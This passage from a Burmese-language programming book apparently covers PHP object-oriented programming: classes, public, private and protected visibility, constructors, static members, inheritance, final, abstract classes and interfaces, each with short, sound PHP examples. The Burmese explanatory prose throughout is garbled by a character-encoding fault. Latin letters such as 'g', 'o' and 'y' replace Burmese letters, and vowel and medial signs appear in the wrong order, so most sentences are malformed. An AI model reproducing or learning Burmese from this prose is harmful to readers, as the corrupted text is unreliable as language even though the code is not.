အတွက် အgမင်စိမ်းကြေနနိုင်ပါတယ်။ ဒီလုိ  Language  ကြေတွeကားထဲမှာ  PHP က ကြေရးထုံးလည်းgပည့်စံု၊  ကြေရးရ
လည်းလွယ်၊ အများစုရင်းနှီးပြပီးသား ကြေရးဟန်လည်းရှိလုိ့ ကြေတာ်ကြေတာ်အဆင်ကြေgပတဲ့  Language တစ်ခုလုိ့ ဆို
နိုင်ပါတယ်။

PHP  မှာ  Object-Oriented  Language  အများစုနည်းတူ  Class  ကြေတွကို  အသုံးgပုပြပီး  Object  ကြေတွ
တည်ကြေဆာက်နိုင်ပါတယ်။  Language  နဲအ့တူပါဝင်တဲ့  Standard Class  တစ်ချ ို ့ရှိသလုိ ကိုယ်တိုင်လည်း
Class ကြေတွကို ကြေရးသားနိုင်ပါတယ်။ ဒီလုိပါ –



PWD 2023 – အခန်း (၃၁) – PHP OOP – Object-Oriented Programming 467

 PHP 

<?php

class Animal
{
    //
}

ဒါဟာ yာသတ်မှတ်ချက်မှမပါတဲ့ Class အလွတ်တစ်ခုgoစ်ပါတယ်။ ဒီ Class ကို အသုံးgပုပြပီး Object ကြေတွ
တည်ကြေဆာက်မယ်ဆိုရင် တည်ကြေဆာက်လုိရ့ပါပြပီ။ ဒီလုိပါ – 

$dog = new Animal;

new Statement  ကိုအသုံးgပုပြပီး  Object  တစ်ခု  တည်ကြေဆာက်လုိက်တာပါ။  Object  ရဲ့အမည်က  $dog
goစ်ပြပီး  Animal Class  ကကြေနgoစ်ကြေပါ်လာတဲ့အတွက်  Animal Object  လုိ့ ဆိုနိုင်ပါတယ်။ အ့ဲဒီ  Object  မှာ
တန်oုိး  (Property)  ကြေတ၊ွ  လုပ်ကြေဆာင်ချက်  (Method)  ကြေတွမရှိကြေသးပါyူး။  အခုလုိ  ကြေလ့လာeကည့်နိုင်ပါ
တယ်။

var_dump($dog);     // object(Animal)#1 (0) { }

var_dump() နဲ့ စစ်eကည့်လုိက်တဲ့အခါ $dog ဟာ Animal Object တစ်ခုgoစ်တယ်ဆိုတာကို ကြေတွ့gမင်
ရမှာgoစ်ပြပီး yာတန်oုိးမှကြေတာ့ မရှိကြေသးတာကိုလည်း ကြေတွ့gမင်ရမှာပါ။ Class အလွတ်ကကြေန goစ်ကြေပါ်လာတဲ့
Object မုိလုိ့ ့Object အလွတ်တစ်ခုသာ goစ်ကြေနမှာပါ။ 

Class  ကြေရးသားစဉ်မှာ  အ့ဲဒီ  Class  ကိုအသုံးgပုတည်ကြေဆာက်တဲ့  Object  ကြေတွမှာ  ရှိရမယ့်  Property  ကြေတွ
Method  ကြေတွကို  တစ်ခါထဲ  ထည့်သွင်းသတ်မှတ်ကြေပးနိုင်ပါတယ်။  အ့ဲဒီလုိ  သတ်မှတ်တဲ့အခါ၊  သတ်မှတ်
ကြေပးလုိက်တဲ့  Property  ကြေတွ  Method ကြေတွကို yယ်ကြေနရာမှာ အသံုးgပုခွင့်ရှိတာလဲဆိုတဲ့  Access Control
ကြေတွ  သတ်မှတ်ကြေပးနိုင်ပါတယ်။  Visibility  လုိလ့ည်း  ကြေခါ်eကပါတယ်။  PHP  မှာ  Public,  Private  နဲ့
Protected လုိ့ကြေခါ်တဲ့ Access Control သတ်မှတ်ချက် (၃) မျ ို း ရှိပါတယ်။ Public ဆိုတာ ကြကိုက်တဲ့ကြေနရာ
မှာ  အသုံးgပုခွင့်ရှိတယ်ဆိုတဲ့  အဓိပ္ပါယ်goစ်ပြပီး  Private  ဆိုတာကကြေတာ့  လက်ရှိ  Class  အတွင်းမှာသာ
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အသုံးgပုခွင့်ရှိတယ်ဆိုတဲ့ အဓိပ္ပါယ်ပါ။ Protected ကကြေတာ့ လက်ရှိ Class နဲ့ လက်ရှိ Class ကို ဆက်ခံgoစ်
ကြေပါ်လာတဲ့  Child  Class  ကြေတွမှာ  အသုံးgပုခွင့်ရှိတယ်ဆိုတဲ့အဓိပ္ပါယ်ပါ။  Property  ကြေတွ  Method  ကြေတွ
သတ်မှတ်တဲ့အခါ ဒီလုိ  Access Control  ကြေတွကို  ထည့်သွင်းသတ်မှတ်ကြေပးရပါတယ်။ အခုလုိ  နမူနာကြေလး
တစ်ခု စမ်းeကည့်နိုင်ပါတယ်။

 PHP 

<?php

class Animal
{
    public $name;

    public function run()
    {
        echo "$this->name is running...";
    }
}

အခုဆိုရင် Animal Class မှာ $name လုိ့ကြေခါ်တဲ့ Property နဲ့ run() လုိ့ကြေခါ်တဲ့ Method တစ်ခုပါဝင်သွား
ပါပြပီ။  Property  ကြေတွသတ်မှတ်တဲ့အခါ  Variable  အကြေနနဲပဲ့  သတ်မှတ်ကြေပးရပါတယ်။  Method  ကြေတွ
သတ်မှတ်လုိရင်ကြေတာ့  Function  ကြေတွကို  အသုံးgပုရတာပါ။  ထူးgခားချက်အကြေနနဲ့  $this လုိ့ကြေခါ်တဲ့
Pseudo Variable  ကို  သတိgပုပါ။  Class  အတွင်းမှာ ကြေeကညာထားတဲ့  Property  ကြေတွ  Method  ကြေတွကို
အသုံးgပုလုိရင်  ဒီအတိုင်းချသံုးလုိက်လုိ့  မရပါyူး။  $this ကကြေနတစ်ဆင့်  သံုးကြေပးရပါတယ်။  ဒါကြေeကာင့်
$this->name ဆိုတာဟာ သူ့အကြေပါ်မှာ ကြေeကညာထားတဲ့ $name Property ကို အသုံးgပုလုိက်gခင်း goစ်
ပါတယ်။

အခုကြေန ဒီ  Class  ကိုအသုံးgပုပြပီး  Object  တည်ကြေတာက်လုိက်ရင်  တည်ကြေဆာက်လုိက်တဲ့  Object  ကြေတွမှာ
name Property နဲ့ run() Method တိုပ့ါဝင်သွားမှာပဲ goစ်ပါတယ်။ ဒီလုိပါ –

$dog = new Animal;
$dog->name = "Bobby";
$dog->run();            // Bobby is running…
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နမူနာအရ Animal Class  ကိုအသုံးgပုပြပီး  $dog Object  ကိုတည်ကြေဆာက်ထားပါတယ်။ ဒါကြေeကာင့်  $dog
Object မှာ name Property နဲ့ run() Method တိုရ့ှိကြေနပါပြပီ။ Object ရဲ့ Property ကြေတွ Method ကြေတွကို
ရယူ/အသုံးgပုoုိအ့တွက်  Object Operator  အကြေနနဲ့  -> သကြေက[တကိုအသုံးgပုရပါတယ်။  Dart Operator
လုိ့  ကြေခါ်eကပါတယ်။  Java,  JavaScript,  Python  စသည်goင့်  Object-Oriented Language  အများစုက
Dot  ကို  Object  Operator  အကြေနနဲ့  အသုံးgပုeကကြေပမယ့်  PHP  မှာကြေတာ့  Dart  ကိုအသုံးgပုရgခင်း  goစ်ပါ
တယ်။   နမူနာအရ  name Property  ရဲ့  တန်oုိးကို  Bobby  လုိသ့တ်မှတ်ကြေပးလုိက်တာပါ။  ပြပီးကြေတာ့မှ
run() Method  ကို  ကြေခါ်ယူလုိက်တဲ့အခါ  ရလဒ်အကြေနနဲ့  Bobby is  running…  ကို  ကြေတွ့gမင်ရမှာgoစ်ပါ
တယ်။ ကြကိုတင် ကြေရးသားထားတဲ့အတိုင်း  run() Method  က name Property  ရဲ့တန်oုိးကို  ထည့်သွင်း
အသုံးgပုသွားတာပါ။

ဒီလုိ  Object  ကကြေန  Property  ကြေတွ  Method  ကြေတွကို  အသုံးgပုလုိရ့တယ်ဆိုတာ  Public  အgoစ် ကြေeကညာ
ကြေရးသားထားလုိပ့ါ။  Public Member  ကြေတွကို  အခုလုိအသုံးgပုခွင့်ရှိပါတယ်။  Private  ဆိုရင်ကြေတာ့ အခုလုိ
သုံးလုိရ့မှာ မဟုတ်ပါyူး။ ဥပမာ – 

 PHP 

<?php

class Animal
{
    private $name;
}

$dog = new Animal;
$dog->name = "Bobby";

// Error: Cannot access private property

နမူနာမှာ name ဟာ Private Property goစ်သွားပါပြပီ။ ဒါကြေeကာင့် Object ကကြေနတစ်ဆင့် name ရဲ့တန်oုိး
ကို ကြေgပာင်းoုိ့ကြကိုးစားတဲ့အခါ ကြေgပာင်းခွင့်မရှိyူးဆိုတဲ့ Error ကို ရရှိမှာ goစ်ပါတယ်။

Object  တည်ကြေဆာက်လုိက်တာနဲ့  အလုပ်လုပ်သွားကြေစချင်တာကြေတွ ရှိရင်လည်း သတ်မှတ်ထားနိုင်ပါတယ်။
Constructor  လုိ့ကြေခါ်ပါတယ်။  အရင်က  Class  အမည်နဲ့  Method  အမည်ကို  တူကြေအာင်ကြေပးလုိက်ရင်
Constructor ရပါတယ်။ ဒီလုိပါ –
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<?php

class Animal
{
    public function Animal()
    {
        echo "Creating Animal object";
    }
}

$dog = new Animal;

// Creating Animal object

Class အမည်က Animal goစ်ပြပီး Method အမည်ကလည်း Animal goစ်ကြေနတဲ့အခါ Constructor goစ်သွား
ပြပီး  Object  တည်ကြေဆာက်တာနဲ့  အလုိအကြေလျှာက် အလုပ်လုပ်သွားမှာပါ။ ဒါကြေပမယ့်  PHP 7    ကကြေနစပြပီး ဒီ  
ကြေရးနည်းကို လက်မခံကြေတာ့ပါyူး။ ဒါကြေeကာင့် PHP 5 နဲစ့မ်းeကည့်ရင် ရလဒ်မှန်ကြေပမယ့် PHP 7 တို့ 8 တိုနဲဆ့ို
ရင်ကြေတာ့  အလုပ်လုပ်မှာ  မဟုတ်ပါyူး။  ရှိခဲ့oူးမှန်းသိကြေအာင်  ထည့်ကြေgပာတာပါ။  တစ်ကယ်ကြေရးနည်းအမှန်
ကကြေတာ့ __construct() လုိ့ကြေခါ်တဲ့  Method ကို အသံုးgပုပြပီးကြေတာ့ Construct ကို တည်ကြေဆာက်ရပါ
တယ်။ ဒါကြေeကာင့် အခုကြေရးနည်းအမှန်က ဒီလုိပါ –

 PHP 

<?php

class Animal
{
    public function __construct()
    {
        echo "Creating Animal object";
    }
}

$dog = new Animal;

// Creating Animal object
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ဒီကြေရးနည်းကကြေတာ့ PHP 5, 7, 8  အားလုံးမှာ အလုပ်လုပ်တဲ့ ကြေရးနည်းgoစ်ပါတယ်။  Object  တည်ကြေဆာက်
လုိက်တာနဲ့  __construct() Method  အလုိအကြေလျှာက်  အလုပ်လုပ်သွားတာပါ။  ကြေရှ့ဆံုးက
Underscore    နှစ်ခုနဲ့   စကြေပးရတာကို သတိgပုပါ။  PHP  မှာ အ့ဲဒီလုိ  Underscore  နှစ်ခုနဲ့  စကြေပးရတဲ့  Magic
Method  ကြေတွ  ရှိပါတယ်။  သူ့ကြေနရာနဲ့သူ  ဆက်လက်ကြေoာ်gပကြေပးပါမယ်။  အခု  ကြေလာကြေလာဆယ်  မှာကြေတာ့
Object တည်ကြေဆာက်လုိက်ရင် __construct() Method အလုပ်လုပ်တယ်လုိ ့မှတ်သားရမှာပါ။

နမူနာမှာ  ကြေနာက်ထပ်သတိgပုစရာကကြေတာ့  Constructor  ကို  Public  အgoစ်  ကြေeကညာထားတာပဲ  goစ်ပါ
တယ်။ Constructor   က   Private   ဆိုရင် yာgoစ်မလဲ။   Object   တည်ကြေဆာက်လုိ့ ရကြေတာ့မှာ မဟုတ်ပါyူး  ။
Object တည်ကြေဆာက်ချနိ်မှာ Constructor ကို အလုပ်လုပ်oုိ ့ကြကိုးစားတဲ့အခါ မရနိုင်တဲ့အတွက်ပါ။

 PHP 

<?php

class Animal
{
    private function __construct()
    {
        echo "Creating Animal object...";
    }
}

$dog = new Animal;

// Error: Call to private __construct()

နမူနာအရ Object တည်ကြေဆာက်လုိမ့ရကြေတာ့yဲ Error တက်သွားတာကို ကြေတွ့ ရမှာပါ။ ဒီကြေနရာမှာ ကြေgပာoုိ့လုိ
လာတာက Class Member ကြေခါ်  Static Member  ကြေတွအကြေeကာင်းပါ။  Object  တည်ကြေဆာက်စရာ မလုိyဲ
Class အမည်ကကြေန တုိက်ရုိက် အသံုးgပုလုိရ့တဲ့ Property ကြေတွ Method ကြေတွ ကြေeကညာလုိရ့နိုင်ပါတယ်။ ဒီ
လုိပါ –
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 PHP 

<?php

class Animal
{
    static $type = "Mammal";

    static function info()
    {
        echo "Group: " . static::$type;
    }
}

echo Animal::$type;     // Mammal
Animal::info();         // Group: Mammal

နမူနာအရ  Static  Property  တစ်ခုနဲ့  Static  Method  တစ်ခရုှိကြေနတာကို  ကြေတွ့ ရမှာပါ။  အ့ဲဒီ  Static
Member  ကြေတွကို အသုံးgပုနိုင်oုိအ့တွက်  Object  မကြေဆာက်ကြေတာ့yဲ  Class  အမည်goစ်တဲ့  Animal  ကြေပါ်မှာ
တိုက်ရုိက် အသံုးgပုထားတာကိုလည်း ကြေတွ့ရနိုင်ပါတယ်။ ဒီလုိ Static Member ကြေတွကို ရယူoုိ့အတွက် ::
သကြေက[တကို အသုံးgပုရတာကို သတိgပုပါ။ Scope Resolution Operator လုိ့ကြေခါ်ပါတယ်။ Double Colon
Operator  လုိလ့ည်း  ကြေခါ်နိုင်ပါတယ်။  ကြေနာက်ပြပီးကြေတာ့၊  Class    အတွင်းထဲမှာ    Static  Member    ကြေတွကို  
အသုံးgပုoုိအ့တွက်   $this     ကို မသုံးyဲ   static     ကို ပဲသုံးတယ်   ဆိုတာလည်း သတိgပုပါ။

တစ်ချ ို ့အကြေgခအကြေနကြေတွမှာ  Object  ကြေဆာက်ခွင့်မgပုyဲ  Class Name  ကြေနသာ တိုက်ရုိက်အသံုးgပုကြေစလုိတ့ဲ့
အတွက် Static Member ကြေတွကို Private Constructor နဲ့ တဲွသုံးတာမျ ို းကြေတွ ရှိeကပါတယ်။ ကြေနာက်ထပ် မ
eကာမeကာ ကြေတွ့ရမယ့် ကြေရးဟန်နမူနာကြေလး တစ်ခုကိုလည်း ဆက်လက်ကြေoာ်gပပါဦးမယ်။ ဒီလုိပါ –

 PHP 

class Animal
{

    private $name;

    public function __construct($name)
    {
        $this->name = $name;
    }
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    public function run()
    {
        echo "$this->name is running...";
    }
}

ဒီတစ်ခါကြေတာ့  $name ဆိုတဲ့အမည်နဲ့  Private Property  တစ်ခု ပါသွားပါပြပီ။ ပြပီးကြေတာ့  Constructor  က
Argument တစ်ခုလက်ခံပြပီး လက်ခံရရှိတဲ့ တန်oုိးကို Property အgoစ် ကြေgပာင်းကြေပးထားပါတယ်။ ဒါကြေeကာင့်
Object  တည်ကြေဆာက်တဲ့  Argument  တစ်ခုကြေပးမှပဲ  တည်ကြေဆာက်လုိ့  ရကြေတာ့မှာgoစ်ပြပီး  ကြေပးလုိက်တဲ့
Argument ဟာ Property တန်oုိးgoစ်သွားမှာပါ။ ဒီလုိပါ –

$dog = new Animal("Bobby");
$dog->run(); // Bobby is running…

ဒီကြေရးနည်းဟာ  မeကာမeကာ  ကြေရးeကကြေလ့ရှိတဲ့  ကြေရးနည်းgoစ်လုိ့  PHP  8  မှာ  Constructor  Property
Promotion  လုိ့ကြေခါ်တဲ့  လုပ်ကြေဆာင်ချက်  အသစ်ထည့်သွင်း  ကြေပးလာပါတယ်။  Property  ကို  သပ်သပ်
ကြေeကညာစရာ မလုိကြေတာ့သလုိ၊ Construct Argument ကို Property တန်oုိးgoစ်ကြေအာင် Assign လုပ်ကြေပးတဲ့
ကုဒ်ကိုလည်း ကိုယ်yာသာ ကြေရးစရာ မလုိကြေတာ့ပါyူး။ ဒီလုိကြေရးလုိက်ရင် ရသွားပါပြပီ –

 PHP >= 8.0 

<?php

class Animal
{
    public function __construct(private $name)
    {
        //
    }

    public function run()
    {
        echo "$this->name is running...";
    }
}

$dog = new Animal("Rambo");
$dog->run();                // Rambo is running…
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ကြေစာကြေစာကကုဒ်နဲ့  တူညီတဲ့ရလဒ်ကိုပဲ  ရပါတယ်။  Constructor  ရဲ့  Argument  မှာ  Access  Control
Modifier ထည့်ကြေရးကြေပးလုိက်ယုံနဲ့ Property ကြေeကညာတဲ့အဆင့်နဲ့ တန်oုိး Assign လုပ်တဲ့အဆင့်၊ ကြေရးရတာ
နှစ်ဆင့် ကြေလျာ့သွားတာပါ။

Class  တစ်ခုကိကုြေရးသားတဲ့အခါ  အgခား  Class  ကြေပါ်မှာ  အကြေgခခံပြပီးကြေတာ့လည်း  ကြေရးလုိရ့ပါတယ်။
Inheritance လုိ့ကြေခါ်ပါတယ်။ အကြေမွဆက်ခံတယ်ကြေပါ။့ ဒီလုိ အကြေမွဆက်ခံပြပီး Inherit လုပ်လုိက်တဲ့အခါ မူလ
ပင်မ Class ရဲ့ လုပ်ကြေဆာင်ချက်ကြေတွကို ဆက်ခံသူက ရရှိသွားမှာ goစ်ပါတယ်။

 PHP 

<?php

class Animal
{
    private $name;

    public function __construct($name)
    {
       $this->name = $name;
    }

    public function run()
    {
        echo "$this->name is running...";
    }
}

class Dog extends Animal
{
    public function bark()
    {
        echo "Woof.. woof...";
    }
}

နမူနာအရ ပင်မ  Class  goစ်တဲ့  Animal  မှာ  Private Property  goစ်တဲ့  $name ရှိကြေနပါတယ်။ ပြပီးတဲ့အခါ
Constructor  နဲ့  run() Method တိုလ့ည်း ရှိကြေနပါတယ်။ Dog Class  က extends ကိုသုံးပြပီး  Animal
ကို ဆက်ခံလုိက်တဲ့အခါ Animal ရဲ့ လုပ်ကြေဆာင်ချက်ကြေတွကို ရရှိသွားပါပြပီ။ ဒါကြေeကာင့် အခုလုိ အသံုးgပုလုိရ့
တာကို ကြေတွ့ရမှာပဲ goစ်ပါတယ်။
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$bobby = new Dog("Bobby");
$bobby->run();      // Bobby is running...
$bobby->bark();     // Woof.. woof…

Constructor ကအစ ပင်မ Class ရဲ့  Constructor ကို ရရှိသွားတာကို ကြေတွ့gမင်ရgခင်းပဲ goစ်ပါတယ်။ Dog
Class  မှာ  run() Method  မရှိကြေပမယ့် ပင်မ  Class  ကကြေန ဆက်ခံရရှိထားလုိ့  အသံုးgပုနိုင်တာကိုလည်း
ကြေတွ့ gမင်ရမှာပါ။ ဒီလုိကြေတာ့ ရမှာ မဟုတ်ပါyူး –

 PHP 

<?php

class Animal
{
    private $name;

    public function __construct($name)
    {
       $this->name = $name;
    }
}

class Dog extends Animal
{
    public function bark()
    {
        echo "$this->name : Woof.. woof...";
    }
}

$bobby = new Dog("Bobby");
$bobby->bark();     // Undefined property: Dog::$name

ပင်မ Class မှာ $name Property ရှိကြေပမယ့် Private Property goစ်ကြေနလုိ့ ပင်မ Class နဲသ့ာ သက်ဆိုင်ပါ
တယ်။  Dog Class  က ဆက်ခံရရှိတဲ့အထဲမှာ မပါပါyူး။ ဒီကြေနရာမှာ လုိအပ်ရင်  Protected ကို အသုံးgပုရ
တာပါ။  Protected Member  ကြေတွဟာ ပင်မ  Class  နဲ့ကြေရာ ဆက်ခံတဲ့  Class  နဲပ့ါ သက်ဆိုင်တဲ့  Member
ကြေတွgoစ်ပါတယ်။
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 PHP 

<?php

class Animal
{
    protected $name;

    public function __construct($name)
    {
       $this->name = $name;
    }
}

class Dog extends Animal
{
    public function bark()
    {
        echo "$this->name : Woof.. woof...";
    }
}

$bobby = new Dog("Bobby");
$bobby->bark();     // Bobby : Woof.. woof…

ဒီတစ်ခါကြေတာ့ အလုပ်လုပ်သွားပါပြပီ။  ပင်မ  Class  မှာ  $name Property  က  Protected  goစ်တဲ့အတွက်
ဆက်ခံတဲ့ Dog Class မှာပါ အသံုးgပုခွင့် ရှိသွားလုိပ့ါ။

Inheritance  နဲ့ပက်သက်ရင်  တစ်ချ ို ့  Language  ကြေတွက  Multiple  Inheritance  ကို  ခွင့်gပုeကပါတယ်။
Multiple Inheritance ဆိုတာ Class တစ်ခုထက်ပုိပြပီး ဆက်ခံကြေရးသားနိုင်တဲ့လုပ်ကြေဆာင်ချက်မျ ို းပါ။ 

class Dog extends Animal, Mammal, Domestic
{
    //
}

ဒီကြေရးထုံးအရဆိုရင် Dog Class က Animal, Mammal နဲ့ Domestic ဆိုတဲ့ Class သုံးခုကကြေန Inherit လုပ်
ယူထားတာပါ။ ဒါမျ ို းကို  Multiple Inheritance လုိ့ကြေခါ်တာပါ။ တစ်ချ ို ့  Language ကြေတွကကြေတာ့ Multiple
Inheritance ကို ခွင့်မgပုeကပါyူး။ PHP ကလည်း Multiple Inheritance ကို ခွင့်မgပုတဲ့ Language ထဲမှာ
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ပါပါတယ်။ ဒါကြေeကာင့် PHP မှာ Class တစ်ခုထက်ပုိပြပီး Inheritance လုပ်လုိရ့မှာ မဟုတ်ပါyူး။ လုိအပ်လုိ့
အဆင့်ဆင့် Inherit လုပ်ရတာမျ ို းကကြေတာ့ ရပါတယ်။ ဒီလုိပါ –

 PHP 

<?php

class Animal
{
    static function info()
    {
        echo "Animal Class";
    }
}

class Dog extends Animal
{
    //
}

class Fox extends Dog
{
    //
}

Fox::info();    // Animal Class

အဆင့်ဆင့်  ဆက်ခံထားတဲ့  Fox  Class  မှာ  ဟုိးပင်မ  Animal  Class  ရဲ့  info() လုိ့ကြေခါ်တဲ့  Static
Member ဆက်ခံရရှိထားတာကို ကြေတွ့ရgခင်းပဲ goစ်ပါတယ်။

ဆက်ခံထားတဲ့ Class ကြေတွက ပင်မ Class ရဲ့ လုပ်ကြေဆာင်ချက်ကြေတွကို Override လုပ်ပြပီးလုိအပ်ရင် gပန်ကြေရး
လုိ့ ရပါတယ်။ ပင်မ Class ရဲ့လုပ်ကြေဆာင်ချက်ကို ကြေခါ်သုံးလုိလ့ည်း ရပါကြေသးတယ်။ ဒီလုိပါ –
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 PHP 

<?php

class Animal
{
    protected $name;

    public function __construct($name)
    {
       $this->name = $name;
    }
}

class Dog extends Animal
{
    private $color;

    public function __construct($name, $color)
    {
        parent::__construct($name);
        $this->color = $color;
    }

    public function profile()
    {
        echo "$this->name has $this->color color.";
    }
}

$bobby = new Dog("Bobby", "brown");
$bobby->profile();      // Bobby has brown color.

နမူနာအရ ဆက်ခံထားတဲ့  Dog Class  မှာ  Constructor  ကိုgပန်ကြေရးလုိက်တာပါ။ ဒါကြေeကာင့်  Dog Object
တည်ကြေဆာက်တဲ့အခါ မူလဆက်ခံထားတဲ့ Animal Constructor အလုပ်မလုပ်ကြေတာ့yဲ အသစ်gပန်ကြေရးထား
တဲ့ Dog Constructor က အလုပ်လုပ်သွားမှာပါ။ တgခား Method ကြေတွ Property ကြေတွကိုလည်း ဒီအတိုင်း
ပဲ gပန်ကြေရးလုိရ့ပါတယ်။ ဒီလုိgပန်ကြေရးတဲ့အခါ လုိအပ်ရင် ပင်မ Class ရဲ့မူလလုပ်ကြေဆာင်ချက်ကို gပန်ကြေခါ်သုံး
လုိ့ ရပါတယ်။ နမူနာအရ Dog Constructor က ပင်မ Animal Class ရဲ့ Constructor ကို parent ကြေရးထုံး
ကကြေနတစ်ဆင့် ကြေခါ်သုံးထားတာကို ကြေတွ့ နိုင်ပါတယ်။ ဒါကြေeကာင့်  Dog Object  တည်ကြေဆာက်စဉ်မှာ အလုပ်
လုပ်သွားမှာက Dog Constructor ဆိုကြေပမယ့် မူလ Animal Constructor ကိုလည်း ကြေခါ်သုံးထားလုိ့ နှစ်ခု
လုံး ပူးကြေပါင်း အလုပ်လုပ်သွားတဲ့သကြေyာကို ရရှိသွားပါတယ်။
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ဒီလုိ Override လုပ်ပြပီး gပင်ကြေရးခွင့် မgပုချင်တဲ့ လုပ်ကြေဆာင်ချက်ကြေတွရှိရင် final ကြေရးထုံးကို အသုံးgပုနိုင်ပါ
တယ်။ ဒီလုိပါ – 

 PHP 

<?php

class Animal
{
    final public function run()
    {
        echo "Animal is running...";
    }
}

class Dog extends Animal
{
    public function run()
    {
        echo "The dog is running...";
    }
}

// Error: Cannot override final method

နမူနာအရ Animal Class  ရဲ့  run() Method ကို  final လုိ့ ကြေeကညာထားတဲ့အတွက် သူ့ကိုဆက်ခံတဲ့
Dog Class က Override လုပ်ပြပီးကြေရးoုိက့ြကိုးစားတဲ့အခါ ခွင့်မgပုyဲ Error ကြေပးတာကို ကြေတွ့ gမင်ရမှာပဲ goစ်ပါ
တယ်။ အကယ်၍ Class  တစ်ခုလံုးကို ဆက်ခံခွင့် မgပုချင်ရင်လည်း  final လုိ့ကြေeကညာကြေပးလုိ့ ရပါကြေသး
တယ်။ ဒီလုိပါ –

 PHP 

<?php

final class Animal
{
    public function run()
    {
        echo "Animal is running...";
    }
}
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class Dog extends Animal
{
    //
}

// Error: may not inherit from final class

final Class ကကြေန Inherit လုပ်လုိ့မရyူးဆိုတဲ့  Error ကို ရရှိမှာ goစ်ပါတယ်။ Class ကြေတွမှာ Abstract
Class  ဆိုတာလည်း  ရိှပါကြေသးတယ်။  ဆက်ခံသူက  မgoစ်မကြေန  ကြေရးကြေပးရမယ့်  သတ်မှတ်ချက်ကြေတွကို
Abstract Class မှာ ထည့်သတ်မှတ်နိုင်ပါတယ်။ ဒီလုိပါ –

 PHP 

<?php

abstract class Animal
{
    public abstract function talk();

    public function run()
    {
        echo "Running...";
    }
}

class Dog extends Animal
{
    //
}

// Error: abstract method must be 
// declared or implement the remaining

Animal Class ဟာ Abstract Class goစ်သွားပါပြပီ။  Abstract Class goစ်သွားရင် Abstract Method ကြေတွ
လည်း ထည့်ကြေရးလုိ့ ရသွားပါပြပီ။ နမူနာမှာ talk() ဟာ Abstract Method goစ်ပြပီး  Code Body မပါတဲ့
Method ကြေeကညာချက်သက်သက် ဆိတုာကို ကြေတွ့ ရမှာပါ။ ဆက်ခံသူကြေတွက ဒီ Abstract Method အတွက်
Code Body ကို  Implement  လုပ် ကြေရးကြေပးရမှာပါ။ ကြေပးထားတဲ့နမူနာမှာ  Dog Class  ဟာ Animal Class
ကို ဆက်ခံထားကြေပမယ့် သတ်မှတ်ထားတဲ့  Abstract Method ကို ဆက်ကြေရးမကြေပးလုိ့  Error  goစ်ကြေနတာကို
ကြေတွ့ gမင်ရမှာပဲ goစ်ပါတယ်။
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Abstract  Class  နဲ့  နည်းနည်းဆင်တဲ့  Interface  ကြေရးထုံးလည်း  ရှိပါကြေသးတယ်။  ကွာသွားတာကကြေတာ့
Abstract  Class  မှာ  ရုိးရုိး  Method  ကြေတွကြေရာ  Abstract  Method  ကြေတွကြေရာ  ထည့်ကြေရးလုိ့  ရကြေပမယ့်၊
Interface ကကြေတာ့ Abstract Method ကြေတွချည်းပဲ ကြေရးလုိရ့ပါတယ်။ ရုိးရုိး Method ကြေတွ ထည့်ကြေရးလုိ့ မရ
ပါyူး။  ဒီကြေရးနည်းကြေတွက  လက်ကြေတွ့ပကြေရာင်္ဂျက်ကြေတွမှာ  gပုgပင်ထိန်းသိမ်းရလွယ်တဲ့ကုဒ်ကြေတွ  ကြေရးသားoုိ့
အတွက် အကြေထာက်အကူgပုတဲ့ ကြေရးနည်းကြေတွပါ။ gမင်သာမယ့် ဥပမာရုိးရုိးကြေလးတစ်ခု ကြေပးပါမယ်။

 PHP 

<?php

class Dog
{
    public function run()
    {
        echo "The dog is running";
    }
}

class Fish
{
    public function swim()
    {
        echo "The fish is swimming";
    }
}

function app(Dog $obj) {
    $obj->run();
}

app(new Dog);   // The dog is running
app(new Fish);  // Error: Argument must be Dog

နမူနာအရ Dog နဲ့  Fish  ဆိုတဲ့  Class နှစ်ခုရှိပါတယ်။ ဆက်ကြေရးထားတဲ့  app() Function ကကြေတာ့ Dog
Object  ကို  Parameter  အကြေနနဲ့  ကြေပးရမယ်လုိ့  ကြေရးထားတာကိုလည်း  ကြေတွ့ ရနိုင်ပါတယ်။ ဒါကြေeကာင့်  စမ်း
eကည့်လုိက်ကြေတာ့  Dog Object  ကိုကြေပးတဲ့အခါ အလုပ်လုပ်ပြပီး၊  Fish Object  ကိုကြေပးတဲ့အခါ  Error  တက်
သွားတာကို ကြေတွ့ရမှာ goစ်ပါတယ်။
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ဆိုလုိတာက၊ Dog Object ကြေပးရမယ့်ကြေနရာမှာ Dog Object ကိုပဲ အတိအကျကြေပးရမှာgoစ်ပါတယ်။ တgခား
Object  အမျ ို းအစားကို  လက်ခံမှာ  မဟုတ်ပါyူး။  နမူနာမှာ  Type  Hinting  ကြေရးထုံးကိုသံုးထားလုိ့  ဒီလုိ
Error တကတ်ာgoစ်သလုိ Type Hinting ကြေရးထုံးကို မသုံးရင်လည်း Error တက်မှာပါပဲ။ ကြေပးလုိက်တဲ့ Fish
Object မှာ app() Function က အသုံးgပုလုိတဲ့ run() Method မရှိလုိပ့ါ။

ဒီလုိကြေနရာမျ ို းမှာ  Interface  ကိုအသုံးgပုလုိရ့ပါတယ်။  အတိအကျ  မတူကြေပမယ့်  အမျ ို းအစားဆင်တူတဲ့
Object ကြေတွ တည်ကြေဆာက်oုိအ့တွက် Interface ကိုသုံးရတာပါ။ ဒီလုိပါ – 

 PHP 

<?php

interface Animal
{
    public function move();
}

class Dog implements Animal
{
    public function move()
    {
        echo "The dog is running";
    }
}

class Fish implements Animal
{
    public function move()
    {
        echo "The fish is swimming";
    }
}

function app(Animal $obj) {
    $obj->move();
}

app(new Dog);   // The dog is running
app(new Fish);  // The fish is swimming
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နမူနာမှာ  Animal Interface  ပါဝင်သွားပါပြပီ။ အထဲမှာ  Abstract Method  move() ကို  ကြေeကညာထားပါ
တယ်။ Abstract Class မှာရုိးရုိး Method နဲ့  Abstract Method ကိုခွဲgခားနိုင်oုိ့  abstract Keyword ကို
သုံးရကြေပမယ့်  Interface  မှာကြေတာ့  Abstract Method  ကြေတွပဲ ကြေရးလုိရ့တာမုိ့လုိ့  ခွဲgခားကြေပးစရာမလုိကြေတာ့လုိ့
abstract Keyword ထည့်သုံးစရာ မလုိကြေတာ့ပါyူး။

Dog Class နဲ့ Fish Class တိုဟ့ာ အမျ ို းအစား မတူeကကြေပမယ့် Implement လုပ်ထားတဲ့ Interface တူeက
ပါတယ်။ Interface တစ်ခုကို  Implement လုပ်ပြပီဆိုရင်  Interface ကသတ်မှတ်ထားတဲ့  Method ကြေတွကို
ကြေရးကြေပးရပါတယ်။ ဒါကြေeကာင့် နမူနာမှာ Dog Class ကြေရာ Fish Class မှာပါ move() Method ရှိပါတယ်။

